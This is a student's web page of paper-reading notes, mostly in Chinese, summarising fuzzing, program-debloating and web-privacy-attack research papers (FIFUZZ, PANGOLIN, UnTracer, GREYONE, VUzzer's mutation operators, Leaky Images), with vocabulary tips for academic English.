<span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#fuzzing-error-handling-code-using-context-sensitive-software-fault-injection\" class=\"md-nav__link\">\n    Fuzzing error-handling code using context-sensitive software fault injection\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#pangolin-incremental-hybrid-fuzzing-with-polyhedral-path-abstraction\" class=\"md-nav__link\">\n    PANGOLIN: Incremental Hybrid Fuzzing with Polyhedral Path Abstraction\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#full-speed-fuzzing-reducing-fuzzing-overhead\" class=\"md-nav__link\">\n    Full speed Fuzzing: Reducing Fuzzing Overhead\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#effective-program-debloating-via-reinforcement-learning\" class=\"md-nav__link\">\n    Effective Program Debloating via Reinforcement Learning\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#greyone-data-flow-sensitive-fuzzing\" class=\"md-nav__link\">\n    GREYONE: Data Flow Sensitive Fuzzing\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#vuzzer\" class=\"md-nav__link\">\n    VUzzer的变异操作\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#leaky-images-targeted-privacy-attacks-in-the-web\" class=\"md-nav__link\">\n    Leaky Images: Targeted Privacy Attacks in the Web\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"paper-reading\">Paper Reading<a class=\"headerlink\" href=\"#paper-reading\" title=\"Permanent link\">&para;</a></h1>\n<h2 id=\"fuzzing-error-handling-code-using-context-sensitive-software-fault-injection\">Fuzzing error-handling code using context-sensitive software fault injection<a class=\"headerlink\" href=\"#fuzzing-error-handling-code-using-context-sensitive-software-fault-injection\" title=\"Permanent link\">&para;</a></h2>\n<p>USENIX2020 <a href=\"https://www-users.cs.umn.edu/~kjlu/papers/fifuzz.pdf\">PDF</a></p>\n<p>表达：\naugment 说自己的fuzzer能有效补充增强现有的fuzzing技术\nand we are still waiting for the response of remaning ones 提交了bug等待回复\nThis manual study is required for gaining the insights into building the automated static analysis 手工分析是有必要的</p>\n<p>错误处理的代码一些只能在偶然情况下触发 如内存不够 网络连接失败\n这篇文章的核心是SFI 上下文敏感的软件错误注入\n发现了317个alert 根据根本原因分成50个unique bugs</p>\n<p>error site 注入错误的位置 比如malloc\n现有的技术没考虑上下文（调用栈）注入错误那就一定会错 这样会错过一些bug</p>\n<p>方法：\n    1. 静态分析找error sites 运行时有可能出错的地方 只找库函数避免重复；找满足条件的函数调用：返回的是指针或整数、返回值会和NULL或者0比较，定义一个比较次数/总次数的阈值R=0.6\n    2. 运行被测程序 收集到达每个error site能有哪些calling context，以及当前的coverage\n    3. 创建错误序列 错误序列的每一个不是error site 而是error point <ErrorLoc, CallCtx> 其中CallCtx 是<CallLoc, FuncLoc>的数组 具体用哈希表存储\n    4. 变异错误序列 \n    5. 运行\n    6. 看看是否有新的coverage 循环</p>\n<p>同时变异错误序列和程序输入</p>\n<p>贡献：\n    * 做了两个手工分析：42%的错误处理代码都是处理偶然错误，其中很少能被现有的技术触发\n    * 基于上下文敏感的SFI的fuzzing基础 动态注入错误，考虑了调用关系\n    * FIFUZZ 第一个系统性考虑了不同调用关系的测试错误处理代码的fuzzing框架\n    * 测了9个C语言程序 发现了50个bug 和AFL AFLFast AFLSmart FairFuzz比较能发现很多别人发现不了的bug</p>\n<p>虽然错误偶然触发，但在adversarial setting下却可以稳定触发 如攻击者耗尽内存能可靠地让malloc返回NULL ；后面也提到攻击窗口太小的话 不能成功</p>\n<p>分析的软件：vim bision ffmpeg nasm catdoc clamav cflow gif2png+libpng openssl 每个选100个源代码看发现：\n42%偶然错误，70%检查返回值是不是表示错误</p>\n<p>看CVE发现fuzzing发现的CVE中31%和错误处理有关 但只有9%是偶然错误</p>\n<p>一次变异一个 如果没发现新的coverage就抛弃</p>\n<p>ASan引入了太大的runtime overhead 实验分两组 用asan和不用</p>\n<p>选vim一个程序来显示24小时内 有用的错误序列、程序输入分别随时间增长的曲线</p>\n<p>实验结果的表格：分asan和不用asan，产生了多少错误序列和input 多少有用，发现的bug的分类 三类：返回NULL，malloc失败，assert</p>\n<p>附录给50个随机选的alerts 程序、触发序列Error points、崩的源代码行号、错误类别、反馈修复状态</p>\n<p>发现的46个和错误处理相关的bug中 只有4个需要一个以上的bug注入 也就说大部分bug一个错误就能触发了；大部分bug都是因为被调用的函数正确处理了异常 但调用者没有——开发者经常由于复杂的调用在error propagation上犯错误</p>\n<p>和其他fuzzer比较 说自己的coverage更高</p>\n<p>自己没比人家强就说We believe that if我们也实现他们的fuzzing过程，那就会更好</p>\n<p>discussion:\n错误位置的提取 的 误报： 有些函数虽然经常跟0比较但不会返回错误 如strstr 通过分析定义和调用图检查是否真的能返回表示错误的错误值；函数的输入一定先转换成有效的数据 用符号执行来分析 对每个函数调用计算约束</p>\n<p>错误检测 的 漏报：为了避免重复注入只考虑了库函数，但有些开发者自己写的没调用任何库函数也能返回错误；coverage没到 FIFUZZ不能提供所有可能的程序输入和配置；用ASan的局限 但可以扩展用MSan UBSan TSan</p>\n<p>相关的paper:\n轻量级运行时监测：基于硬件的tracing [3, 31]， call-path inferring[42]\n用静态分析找错误处理的bug [28, 32, 33, 37, 53]\nPairCheck[9] 统计分析找资源acquire和release的pair，找错误处理中没有release</p>\n<p>最后conclusion最后一段说改进 减少误报；提高性能；其他编程语言 plan to test the program in other programming languages （such as C++ and Java）</p>\n<h2 id=\"pangolin-incremental-hybrid-fuzzing-with-polyhedral-path-abstraction\">PANGOLIN: Incremental Hybrid Fuzzing with Polyhedral Path Abstraction<a class=\"headerlink\" href=\"#pangolin-incremental-hybrid-fuzzing-with-polyhedral-path-abstraction\" title=\"Permanent link\">&para;</a></h2>\n<p>SP2020 <a href=\"https://qingkaishi.github.io/public_pdfs/SP2020.pdf\">PDF</a></p>\n<p>一句话概括：改进QSYM混合fuzzing 缓存求解出来的取值范围用多边形表示 来更好的变异更快的求解</p>\n<p>单词与表达：</p>\n<ul>\n<li>sluggish 性能不行 太慢</li>\n<li>succinct 简洁的</li>\n<li>取得平衡 a sweet spot between &hellip;</li>\n<li>obstruct 阻碍</li>\n<li>we followed the standard instructions in the previous paper 说自己的方法是按照别人建议的</li>\n<li>orthogonal 说别人的研究和自己的不冲突可以互补</li>\n</ul>\n<p>intro 第一段 介绍hybrid fuzzing很有用；第二段说现在的方法不行 提出问题不incremental 最后一句提However, intuitively应该可以这么做；之后举例子；核心的两点——用多边形的路径约束把种子变异转换成在一个多边形内取样、用约束降低约束求解复杂度减小可行解空间 从而加速约束求解；然后说自己测了一下 效果比state of art好10%~30%的coverage，在LAVA-M能多发现500+bugs，发现新的41个bug 拿到8个CVE</p>\n<p>随机变异的空间总是太大了</p>\n<p>约束的抽象 有 interval [32], octagon [33], and polyhedral [34]. 都是sound的（包含所有目标点），但polyhedral有最好的precision 包含最少的非目标点</p>\n<p>采样用Dikin walk algorithm 能保证均匀采样 保证多样性：每两个采样之间的距离都要大于一个动态边界</p>\n<p>具体做法并不盲目计算x+y和x-y，而是加入约束中的线性表达式 如5x+y</p>\n<p>应该采多少样本？越难cover的需要越多，越多依赖它的路径需要越多</p>\n<p>evaluation 三个RQ研究问题：1. 比现在最好的fuzzer能不能发现更多的bug；2.能不能更高的coverage；3. 变异方法的有效性</p>\n<p>实验用了两个afl，angora有-j 2，但T-Fuzz不支持 也就直接跑了</p>\n<p>选seed的方式：用AFL提供的seed，用人家代码里自带的测试样例</p>\n<p>重复10次</p>\n<p>比较了效果好之后讨论为啥没能发现LAVA-M的所有bug？说这是QSYM的问题 缺少对底层系统调用的建模如who用的x2nrealloc，不支持浮点数约束。但是这些限制不是这篇work要解决的问题，and we leave them as our future work.</p>\n<p>crash去重用的<code>afl-cmin -C</code></p>\n<p>发现了T-Fuzz对大程序有scalability issues 所以就没有比较coverage</p>\n<p>比QSYM好，原因是qsym对每个branch只生成一个seed，这样会漏掉一些——覆盖到一个branch并不意味着就能触发漏洞</p>\n<p>The performance of constrained mutation：比较提出的constrained mutation和SMTSampler 看给定time buget分别3s 5s 10s的情况下能解出多少 计算平均时间的时候如果不能解决就按上限——超过95%的约束都能在3秒钟内搞定。总之，我们的方法比SMTSampler效率和有效性都强\n为啥呢？减少了约束求解器的调用、保证了均匀分布</p>\n<p>related work 种子的优先选择和调度 是基于程序结构的 忽视了输入的实际取值空间\n相比于KLEE缓存了constraint，我们缓存了原始路径约束的简化形式 path abstraction</p>\n<p>如何有效的将concolic execution和fuzzing结合is always under consideration</p>\n<p>尽管有内存快照的技术来保存程序状态[7] &ldquo;Unleashing mayhem on binary code&rdquo;，但对hybrid fuzzing来说太慢了</p>\n<h2 id=\"full-speed-fuzzing-reducing-fuzzing-overhead\">Full speed Fuzzing: Reducing Fuzzing Overhead<a class=\"headerlink\" href=\"#full-speed-fuzzing-reducing-fuzzing-overhead\" title=\"Permanent link\">&para;</a></h2>\n<p>一句话概括： 每个基本块第一个字节改成CC触发中断，不需要耗时地记录coverage了，发现新的基本块就能自动知道</p>\n<p>单词：</p>\n<ul>\n<li>tracking apparatuse插桩代码做的事情</li>\n<li>niche 合宜的小环境 这里似乎是受限的意思 As applications of directed fuzzing are generally niche, such as taint tracking [16] or patch testing [31], coverage-guided fuzzing’s wider scope makes it more popular among the fuzzing community [5], [6], [4], [3].</li>\n<li>narrow 区别不大 results in Section VI suggest that the performance gap is much narrower.</li>\n<li>convincingly 比其他人好 A12 excceds 0.71</li>\n<li>performance-taxing 耗时</li>\n<li>per-variant geometric mean分组计算均值</li>\n<li>deficit 引入的overhead: &hellip; far outweighs the performance deficit from trimming and calibration tracing</li>\n<li>is not a technical challenge 没做的东西claim不难做</li>\n<li>graciously 感谢其他人</li>\n</ul>\n<p>人家的idea：</p>\n<div class=\"codehilite\"><pre><span></span><code>把程序变成一个能自己报告有没有发现新的basic block的——在每个基本块开头变成0xCC（encode the current frontier），触发了中断说明有新的覆盖率，需要停下fork server去掉这个中断再继续跑\n做coverage-guided tracing\n人家的实验其实不是在做fuzzing，而是先跑afl-qemu收集24小时所有生成的seed（5个不同的test case datasets），再改了afl只跑run_target，看不同的设计下耗时的区别\n去掉噪音用的trimmed-mean denoising 去掉最大最小33%\n实验是5个dataset,每个重复8次 \n基于afl-dyninst实现，但是这玩意性能不行 所以跑的oracle程序fork server还是用afl-as插的\n在tracer记录块的覆盖率的时候，一个块可能执行多次很大的overhead，于是搞了个全局的hashmap，和fork server共享 之后的进程就知道哪些才是unique-covered basic blocks\n不懂的地方：为啥会尝试对同一个地方多次unmodify?  We observe that even coverage-increasing test cases often have significant overlaps in coverage. This causes UnTracer to attempt unmodifying many already-unmodified basic blocks, resulting in high overhead.\n选择的fuzz文件类型：dev开发，图片，压缩data archiving，网络network utilities，音频，文档，密码学cryptography，web开发\ntimeout也是一个很重要的因素 如果timeout的文件太多 作者的优势就不明显了；实验设置为500ms的超时\n比较的baseline: 只fork server不进行任何插桩，这是最快的 overhead是相对于这个baseline而言的\n</code></pre></div>\n\n<p>后续要了解的：</p>\n<div class=\"codehilite\"><pre><span></span><code>Intel PT硬件辅助[11],[4],[12]的覆盖率 overhead更小，缺点：需要一个支持的CPU，解码CFG日志耗时，只支持x86\nXuwen的优化操作系统的系统调用[61] fuzzer-agnostic operating primitives\n程序改写AFL-lafIntel [70] unrolls magic bytes into single comparisons at compile-time, but currently only supports white-box binaries.\n</code></pre></div>\n\n<p>三种覆盖率的计算方式：基本块，边，basic block path这一种没人做\n只记录basic block来推断边的信息，是有问题的：存在critical edges就不准确，需要先去掉critical edges才行 就是空的else也要当成一个块\n否则会错误地丢掉一些发现了新覆盖率的种子 erroneously discard coverage-increasing inputs.（可能afl对for的支持就是这个bug</p>\n<p>afl的queue里的文件有+cov的才是发现了新的覆盖率的</p>\n<p>影响afl变异优先策略的除了coverage还有文件大小，相同覆盖率优先用小的seed</p>\n<p>p-value小于0.05要说(pair-wise)</p>\n<p>hybrid的fuzzer花更多的时间变异 如QSYM</p>\n<h2 id=\"effective-program-debloating-via-reinforcement-learning\">Effective Program Debloating via Reinforcement Learning<a class=\"headerlink\" href=\"#effective-program-debloating-via-reinforcement-learning\" title=\"Permanent link\">&para;</a></h2>\n<p>CCS18 <a href=\"https://www.cis.upenn.edu/~mhnaik/papers/ccs18.pdf\">PDF</a></p>\n<p>概括：把机器学习用到Program Debloating，基本方法是反复切片去掉，用Reinforcement Learning来减少编译测试的次数</p>\n<p>单词</p>\n<ul>\n<li>seldom if ever used by average users 一般用户不会用</li>\n<li>has led to its sparing use 导致没人用</li>\n<li>has been shown to suffice in the literature on &hellip; 论文中已经提到</li>\n<li>mangle 搞乱程序</li>\n<li>sacrifice efficiency 说别人的不足的时候说牺牲了xxx</li>\n<li>tailored to C/C++ 只适合xxx</li>\n<li>myopic 短视的 Since the rules are myopic, C-Reduce generates a significant number of syntactically invalid candidates</li>\n<li>albeit 但是 albeit due to a different reason.</li>\n<li>presuming a general setting where such an analysis may not be available 举的例子可以很简单静态分析出来，说一般的情况下静态分析没用</li>\n<li>akin to &hellip; 和xxx相同 插入语 because it not only avoids syntactic errors, akin to Perses, but it also learns to avoid semantic errors.</li>\n<li>Overall 一段话结束的时候总结</li>\n<li>large boilerplate code 一大段代码</li>\n<li>heed to 遵守 C-Reduce does not heed to common software engineering practices such as modularity and locality</li>\n<li>suffices in practice实际上是否足够 The reader may wonder whether a naive approach to program reduction based on runtime code coverage suffices in practice.</li>\n<li>empirically comfirmed 验证鲁棒性只能经验性地验证</li>\n<li>in this regard 在这个方面 We can mitigate the issue by combining the results of multiple static analyzers that possess different capabilities in this regard.</li>\n</ul>\n<p>idea</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"err\">程序的库和</span><span class=\"n\">one</span><span class=\"o\">-</span><span class=\"n\">size</span><span class=\"o\">-</span><span class=\"n\">fits</span><span class=\"o\">-</span><span class=\"n\">all的开发方式导致了大量很少用</span><span class=\"o\">/</span><span class=\"err\">没用的代码</span>\n<span class=\"err\">前人的做法没考虑语义依赖</span><span class=\"w\"> </span><span class=\"err\">导致未初始化变量等语义错误</span><span class=\"w\"> </span><span class=\"n\">unaware</span><span class=\"w\"> </span><span class=\"n\">of</span><span class=\"w\"> </span><span class=\"n\">semantic</span><span class=\"w\"> </span><span class=\"n\">dependencies</span><span class=\"w\"> </span><span class=\"n\">between</span><span class=\"w\"> </span><span class=\"n\">program</span><span class=\"w\"> </span><span class=\"n\">elements</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">e</span><span class=\"o\">.</span><span class=\"n\">g</span><span class=\"o\">.</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">def</span><span class=\"o\">-</span><span class=\"n\">use</span><span class=\"w\"> </span><span class=\"n\">relations</span><span class=\"w\"> </span><span class=\"n\">of</span><span class=\"w\"> </span><span class=\"n\">variables</span>\n<span class=\"n\">debloating</span><span class=\"w\"> </span><span class=\"err\">通过</span><span class=\"n\">delta</span><span class=\"w\"> </span><span class=\"n\">debugging</span><span class=\"w\"> </span><span class=\"err\">一步步去掉程序中能删的片段，用强化学习加速（决策树</span><span class=\"w\"> </span><span class=\"err\">马尔科夫决策过程），保证能过测试</span><span class=\"n\">high</span><span class=\"o\">-</span><span class=\"n\">level</span><span class=\"w\"> </span><span class=\"n\">specification</span><span class=\"err\">，最后得到的二进制任何一个片段都不能再删（</span><span class=\"mi\">1</span><span class=\"o\">-</span><span class=\"n\">minimality</span><span class=\"err\">）</span>\n<span class=\"err\">这个方法能扩展到大程序，避免现有工具超时的问题</span>\n<span class=\"err\">这个方法还可以降低攻击面</span><span class=\"w\"> </span><span class=\"err\">去掉可选功能中的漏洞，减少</span><span class=\"n\">ROP</span><span class=\"w\"> </span><span class=\"n\">gadget</span>\n</code></pre></div>\n\n<p>想做到五点：\n最小；耗时短；鲁棒不引入新的漏洞；生成的代码可维护可扩展；通用\n比静态分析动态coverage的都小；其他人超时我们都行；用静态分析工具和AFL测3天可以反馈loop；保留了modularity and locality；方法通用 和编程语言、规范无关</p>\n<p>规范就是测试代码 输入一个裁剪后的代码 输出能否满足：\n能过编译；需要的功能正常；不需要的功能至少不能崩（测试样例来自回归测试）；要使用sanitizer确保没有未定义行为</p>\n<p>马尔科夫决策过程 MDP</p>\n<p>基于模型的强化学习 MBRL\n在模型的帮助下解决MDP问题，学出转换的概率和奖赏，得到可以最大化收益和的动作</p>\n<p>方法：执行过程会更新决策树\n程序的编码就是程序n份 每一份是否存在 一开始就是n个1</p>\n<p>具体实现的时候是先删global-level的组件 如全局变量声明、类别定义、函数定义，再删局部类别的组件 赋值、if语句、while语句，然后继续global local &hellip;迭代到稳定\n使用简单的依赖分析来拒绝不可能的程序 如没有main 缺失变量定义 变量没初始化 没有return语句\n决策树用的FastDT，用的exact decision trees没有boosting bagging \n计算代码行数之前要先宏展开</p>\n<p>Evaluation\n选了10个binutils里的程序，都在busybox里 可以直接比较\n避免产生死循环的程序 设置了不同的timeout 0.01~1s</p>\n<p>画图差异太大可以截断 顶部显示数值\n有些CVE没能删掉 说这些在核心功能里面 不能简单删掉 如条件竞争 \n产生的代码使静态分析工具的报告减少了95.4% 报告就能看了 The decreased size and complexity of the reduced programs also enable to apply more precise program checkers such as static analyzers.\n然后人工检查说都是误报\nfeedback process 跑AFL的时候崩了 发现是罕见的情况 把这种测试用例考虑进去后重新生成 再fuzzing就3天都不崩了This simple feedback process effectively improved the robustness of the resulting program</p>\n<p>THREATS TO VALIDITY\n测试脚本行为的不确定性：用sanitizer缓解，依赖的其他库代码需要也用同样的编译；timeout机制引入的误报，可以改变检测死循环的机制[20] 不依赖timeout\n测试样例不完整may not be exhaustive enough 使用基于语法的fuzzer\n静态分析工具的unsoundness 不支持复杂的特性 如复杂的指针算术计算，未知语义的API调用导致的复杂控制流——结合多种静态分析工具</p>\n<p>更多方向</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">program</span><span class=\"w\"> </span><span class=\"nv\">reasoning</span><span class=\"w\"> </span>想知道是否引入了新的<span class=\"nv\">bug</span>，包括静态分析<span class=\"w\"> </span>动态分析<span class=\"w\"> </span><span class=\"nv\">fuzzing</span><span class=\"w\"> </span>运行时监控<span class=\"w\"> </span>验证\n静态分析工具：<span class=\"nv\">Sparrow</span><span class=\"w\"> </span>[<span class=\"mi\">13</span>]—<span class=\"nv\">a</span><span class=\"w\"> </span><span class=\"nv\">static</span><span class=\"w\"> </span><span class=\"nv\">analyzer</span><span class=\"w\"> </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"nv\">finding</span><span class=\"w\"> </span><span class=\"nv\">security</span><span class=\"w\"> </span><span class=\"nv\">bugs</span><span class=\"w\"> </span>可以检测<span class=\"nv\">bug</span>，还能移除不可达代码\n程序<span class=\"nv\">debloating</span><span class=\"w\"> </span>粗粒度的<span class=\"nv\">Docker</span>大容器拆解成多个小容器<span class=\"w\"> </span>需要动态分析应用行为[<span class=\"mi\">35</span>]\n更细粒度的有做<span class=\"nv\">Java</span><span class=\"w\"> </span>[<span class=\"mi\">28</span>]和<span class=\"nv\">Android</span><span class=\"w\"> </span>[<span class=\"mi\">27</span>]应用的<span class=\"w\"> </span>；有避免载入不会用到的函数的[<span class=\"mi\">34</span>]<span class=\"w\"> </span>（函数级别的依赖分析）\n另一个正交的方向：检测和减少运行时内存膨胀<span class=\"w\"> </span>[<span class=\"mi\">9</span>,<span class=\"mi\">33</span>,<span class=\"mi\">40</span><span class=\"o\">-</span><span class=\"mi\">43</span>]\n输入样例的最小化<span class=\"w\"> </span>场景是测试编译器<span class=\"o\">/</span>解释器，产生能<span class=\"nv\">crash</span>的更小的程序<span class=\"w\"> </span>不考虑安全性可读性\n有工作考虑了语法的正确性[<span class=\"mi\">23</span>,<span class=\"mi\">32</span>,<span class=\"mi\">37</span>]<span class=\"w\"> </span>但没考虑语义正确性\n<span class=\"nv\">Program</span><span class=\"w\"> </span><span class=\"nv\">slicing</span><span class=\"w\"> </span>指定一个位置提取程序的一小部分<span class=\"w\"> </span>需要指定语义和依赖关系（<span class=\"nv\">challenging</span>），也可能不能去掉漏洞<span class=\"w\"> </span>（这篇文章的方法更好）\n静态可达性分析<span class=\"w\"> </span>不能处理复杂的控制流如间接调用、复杂条件和指针算术\n动态可达性分析<span class=\"w\"> </span>这篇文章的方法更好\n</code></pre></div>\n\n<p>future work: \nmore expressive probabilistic models with efficient incremental learning, \ndesigning various forms of specification other than input-output examples,\napplying to debloat programs written in arbitrary languages such as binary.</p>\n<h2 id=\"greyone-data-flow-sensitive-fuzzing\">GREYONE: Data Flow Sensitive Fuzzing<a class=\"headerlink\" href=\"#greyone-data-flow-sensitive-fuzzing\" title=\"Permanent link\">&para;</a></h2>\n<p>USENIX20 <a href=\"https://www.usenix.org/system/files/sec20spring_gan_prepub.pdf\">PDF</a></p>\n<p>单词:</p>\n<ul>\n<li>is labor-intensive and requires lots of manual efforts 需要人工</li>\n<li>Head-to-Head Comparison 比较不同的work</li>\n<li>to draw conclusions as objective as possible 尽可能客观</li>\n<li>选被测程序的原因 We chose target applications considering several factors, including popularity, frequency of being tested, development activeness, and functionality diversity.</li>\n<li>选出来的类别包含 graphics processing libraries (e.g., libcaca and libsixel),</li>\n<li>shipping with 用afl-cmin的时候说the tool afl-cmin shipping with AFL</li>\n<li>确定fuzzing的时间 we test target applications for more time, until the fuzzers reach a relatively stable state (i.e., the order of fuzzers’ performance does not change anymore).</li>\n<li>Experiments showed that the fuzzers will get stable after testing these applications for 60 hours. So, we tested each application for 60 hours in our experiment.</li>\n<li>除了给平均结果 也给出maxinum number</li>\n<li>a steady and stronger growth trend</li>\n<li>大部分方面都更快 in a faster pace than QSYM in most subjects</li>\n</ul>\n<p>idea:</p>\n<p>使用轻量级fuzzing-driven taint inference FTI\n有了taint之后用输入优先模型判断先探索哪个路径 变异哪些字节 怎么变异\n强调dataflow features： constraint conformance 变量的值与预期值的距离\n实验在最新的软件上跑 发现了105个新的bugs，拿到了41个CVE</p>\n<p>RQ1: 怎么做轻量准确的污点分析 FTI变异输入每个字节看变量值的变化 轻量 没有over-taint 缓解under-taint(变异不完整会有) 运行时非常快\nRQ2: 有了taint怎么有效指导变异 选择啥路径 选择哪些字节 优先选择能影响更多未到达分支的字节，优先依赖更多优先字节的分支\nRQ3: 如何使用数据流特征(污点属性和约束符合性)优化进化方向conformance-guided evolution 优先更高符合性的seeds 能避免Angora的陷入局部最优的问题，另外将正在执行的变异rebase到更好的seeds可以显著优化速度</p>\n<p>符号执行不能处理大程序，不能解决复杂的约束如on-way functions\n传统的动态污点分析 需要大量劳动人类工作, 不准确 undertaint的问题 不能处理隐式数据流，非常慢</p>\n<p>不符合non-intererence rule[16]的就有依赖关系\nFTI变异的时候是使用预先定义的变异规则 如单位翻转、多位翻转和算术操作，不能保证完全变异\n变量值追踪是插代码 special value tracking code 只关注与路径约束有关的变量，同时也能提出值和对应的输入字节比较 一致就是direct copy</p>\n<p>输入字节的权重是它影响的未到达的分支数量，一个未到达分支的权重是它依赖的所有字节权重的和</p>\n<p>变异哪个位置？找当前seed未覆盖的附近的分支 按分支权重倒序；对于一个分支依赖的多个字节，按字节的权重倒序\n怎么变异？direct copy如果需要跟一个运行时算出的checksum相等 先得到运行时需要的值，再使用这个值和微小变异来修复对应的输入字节 可以直接知道应该修改哪个offset 需要什么值\nindirect copies就随机变异 可以一次变异多个字节 \n缓解undertaint 除了依赖的字节 也以一个较低的概率变异邻居字节</p>\n<p>计算符合性\n对于未到达的分支 定义是两个比较的值之间有多少bit一致，\n对于一个已经到达基本块 定义是其所有未到达邻居的符合性的最大值，\n对于一个seed 定义是覆盖的所有基本块的符合性的累加</p>\n<p>seed queue新的结构 在相同coverage 发现更高分数的seed的时候 替换；在发现相同coverage 相同分数 但基本块conformance的分布不同的时候，加入的这个Node数组</p>\n<p>这种方式可以与梯度下降相当，还能避免Angora的陷入局部最优的问题\n在替换seed后 后续对这个seed的使用也立刻换成新的seed 这样可以在LAVA数据集上快3倍</p>\n<p>选seed的时候 给高分数的更高权重</p>\n<p>selective testing 相比AFL的coverage tracking多了两个模式：FTI变量值监测，进化优化算conformance分数\n当conformance一段时间不增加了就切回AFL的模式 提高运行速度</p>\n<p>conformance计算用的by operations like __builtin_popcount\nFTI用到的值监测 用的bitmap的结果 给每个变量一个全局唯一的ID</p>\n<p>LAVA-M除了who也有unlisted bugs?</p>\n<p>更深入的分析：\nFTI的under taint问题\nFTI有没有用？ 实现一个基于DTA的镜像比较\n各个不同部分对结果的贡献 去掉优先策略，去掉conformance进化 三者比较\nselective fuzzing 比较执行速度</p>\n<p>其他Paper:</p>\n<div class=\"codehilite\"><pre><span></span><code>DigFuzz[45] 用了符号执行 概率路径优先模型\nTaintInduce[46]可以自动推测出propagation rules\nProFuzzer[42]也是一次变异一个字节 但只关注coverage变化 不能推断出污点的依赖关系 和FairFuzz[24]都能推断partial type of mutated bytes 但对这个分支是否已经到过是insensitive的\nMutaFlow[26] 监测sink APIs的变化 参数是否被tainted\nREDQUEEN[4] 能处理direct copy但不能找到精确的位置 需要百次运行来获得a colorized version with higher entropy 再测一遍获得位置 整个过程太慢\nIntel-laf[1] 将长的比较分割成短的比较 但是带来更多语义相同的路径 不能处理非常量比较\nSYMFUZZ[8] 可以检测input bits之间的依赖 计算出optimal mutation ratio\n</code></pre></div>\n\n<hr />\n<h2 id=\"vuzzer\">VUzzer的变异操作<a class=\"headerlink\" href=\"#vuzzer\" title=\"Permanent link\">&para;</a></h2>\n<p>https://github.com/vusec/vuzzer/blob/f6f7d593a0e76e86afb3c7af6d5186f897bab979/operators.py#L291</p>\n<p>这里我们分析一下vuzzer实现的变异操作，其所有operators为一个数组，每个元素都是一个函数</p>\n<p>同一个函数可以出现多次，排序后如下所示，我按照我的理解标注了功能：</p>\n<div class=\"codehilite\"><pre><span></span><code>add_random 选择一个随机位置 插入随机字符串\nadd_random\nadd_random\nchange_bytes 根据TAINTMAP修改\nchange_bytes\nchange_random 选择一部分字节替换为随机字符串\nchange_random\nchange_random_full 选择一部分字节替换为随机字符串或从程序中提取出的magic bytes\nchange_random_full\ndouble_fuzz 随机选择两种mutator\neliminate_double_null 删去\\0\\0\neliminate_null 将\\0替换为A\neliminate_random 随机删去一部分\neliminate_random\nint_slide 将特定位置变为 \\xFF\\xFF\\xFF\\xFF 或 \\x80\\x00\\x00\\x00 或 \\x00\\x00\\x00\\x00\nlower_single_random 随机变异1~100次：每次选择一个随机字符变为其-1\nraise_single_random 随机变异1~100次：每次选择一个随机字符变为其+1\nsingle_change_random 随机变异1~100次：每次选择一个随机字符变为随机字符\ntotally_random 生成一个长度在100~1000的字符串\n</code></pre></div>\n\n<hr />\n<h2 id=\"leaky-images-targeted-privacy-attacks-in-the-web\">Leaky Images: Targeted Privacy Attacks in the Web<a class=\"headerlink\" href=\"#leaky-images-targeted-privacy-attacks-in-the-web\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"https://www.usenix.org/conference/usenixsecurity19/presentation/staicu\">Usenix19</a> <a href=\"https://www.usenix.org/system/files/sec19-staicu.pdf\">PDF</a></p>\n<p>攻击者可以知道用户在google,onedrive,dropbox的登录身份，通过特定分享一个图片看能否成功加载</p>\n<p>在intro里就给出一个吸引人的例子：用来去匿名化审稿人——收集所有committe的邮箱分享图片，论文中给个攻击者网站的链接</p>\n<p>表格1比较相关的攻击：追踪像素、社交媒体指纹（是否登录）、CSRF（有副作用）、本文Leaky images</p>\n<p>比较：谁能攻击？ 攻击者能实现啥？ 用途场景</p>\n<p>所有网站都能发起攻击，可以准确找出受害者，定向的fine-grained去匿名化</p>\n<p>研究了250个最流行网站的30个 找到8个网站有漏洞 手工找 共享的图片能通过一个link加载 且只有特定用户能访问（基于cookie的访问控制）</p>\n<p>贡献：</p>\n<ul>\n<li>新的攻击 定向隐私攻击滥用图片共享服务来确定受害者是否正在访问攻击者的网站</li>\n<li>讨论了攻击的各个变种 